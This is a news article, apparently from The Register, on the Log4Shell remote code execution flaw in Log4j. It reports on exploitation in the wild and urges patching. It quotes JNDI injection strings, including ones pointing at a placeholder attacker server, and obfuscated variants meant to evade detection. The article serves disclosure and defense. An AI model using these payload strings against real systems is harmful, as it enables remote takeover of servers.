Log4j RCE latest: In case you hadn’t noticed, this is Really Very Bad, exploited in the wild, needs urgent patching

Miscreants are wasting no time in using the widespread Log4j vulnerability to compromise systems, with waves and waves of live exploit attempts focused mainly – for now – on turning infected devices into cryptocurrency-mining botnet drones.

Israel’s Check Point said this morning it was seeing around 100 exploit attempts every minute, going into further detail in a blog post.

Apache Log4j is an open-source logging utility written in Java that is used all over the world in many software packages and online systems. Last week it emerged that Alibaba security engineer Chen Zhaojun had found and privately disclosed on November 24 details of a trivial-to-exploit remote code execution hole (CVE-2021-44228) in Log4j 2.x, specifically versions 2.14.1 and earlier.

Exploitation is possible by feeding a specially crafted snippet of text, such as a message or username, to an application that logs this information using Log4j 2. If the text contains a particular sequence of characters, the logging utility will end up fetching Java code from an attacker-controlled server and executing it, allowing the machine to be remotely hijacked and controlled. It is easily wormable, and was present in all manner of things, from Steam and Minecraft to Apple’s iCloud.

If you can imagine systems logging site search queries, browser user-agent strings, failed login attempts, and other visitor and customer-supplied stuff, and that this text can be weaponized to achieve code execution in the backend, you can appreciate how attractive this hole is for crooks and fraudsters. The vulnerability has been generally dubbed Log4Shell.

On December 9, in response to Zhaojun’s findings, version 2.15 of Log4j was released with the exploitable functionality disabled by default. This should be installed as a priority, or one of the mitigations considered if you can’t update right now.

Proof-of-concept code to abuse the insecure logging tool also began spreading across the web. This makes this whole situation dangerous because the code is so prevalent, it is easy to exploit, and there is plenty of working example attack code out there while many systems remain unpatched. The flaw is rated 10 out of 10 in terms of severity.

System admins as well as developers may be tempted to use one of the available proof-of-concept exploits to see if their applications, and their numerous dependencies, use the logging tool and are therefore vulnerable to the flaw – and that’s not a terrible idea at all. However, bear in mind that it’s quite possible those exploiting services out in the wild are also patching Log4j after the initial compromise to keep other miscreants out. Thus, you should consider auditing your code, and installing updates from vendors, as well as look for indicators of compromise and signs that the software has been patched by an intruder.

For now, the infosec industry is mainly sounding the alarm and telling the world that a Very Bad Thing has come to light – with many taking the opportunity to push their own security defense products, we couldn’t help but note. So far, the vuln is seemingly mostly being used to install crypto-mining bots on servers amid scans for at-risk devices, though it’s early days yet.

Bitdefender said its honeypot network had seen an increase in scans from “Russia-based IP addresses,” which as a bare fact on its own means little; anyone can route their web traffic through a Russia-based node, with some occasionally doing so for fun and profit.

Sophos warned that cryptocoin-mining botnets are one of the more popular post-exploit payloads it’s seeing as a result of successful Log4j compromises. The firm said in a blog post that botnets “focus on Linux server platforms, which are particularly exposed to this vulnerability.”

“Log4j is a library that is used by many products,” said Sophos senior threat researcher Sean Gallagher. “It can therefore be present in the darkest corners of an organization’s infrastructure. For example: any software developed in-house. Finding all systems that are vulnerable to Log4Shell should be a priority for IT security.”

Sophos also warned of Log4j-related attempts to steal AWS private keys. For its part, Amazon Web Services’ security arm published what it says is a hotpatching utility for Log4j.

Various infosec companies have started live blogs or rapidly updated posts with mitigation information, including Randori (one of the first Western companies to publish detailed information about the remote code execution hole) as well as Trend Micro and others.

Microsoft published its own Log4j exploitation prevention advice, saying it has mostly seen “mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers.”

Redmond said: “An example pattern of attack would appear in a web request log with strings like the following:”

${jndi:ldap://[attacker site]/a}

“We’ve seen things like running a lower or upper command within the exploitation string ({jndi:${lower:l}${lower:d}a${lower:p}) and even more complicated obfuscation attempts (${${::-j}${::-n}${::-d}${::-i}) that are all trying to bypass string-matching detections,” the Windows giant added.

Like with previous big scary bugs, Log4Shell has a website, a hastily drawn logo, tons of headlines, and probably a three-book publication deal and a movie. Probably. Does it deserve all this excitement? Well, that depends on how fast you patch. ®

Bootnote

F-Secure’s CISO Erka Koivunen echoed all the usual warnings, adding: “Please don’t change your Tesla or iPhone name into ${jndi:ldap://url/a} unless you want unexpected user experience.”

That would be a terrible thing to do. Really upsetting. So don’t do it. No, please, don’t.

READ MORE HERE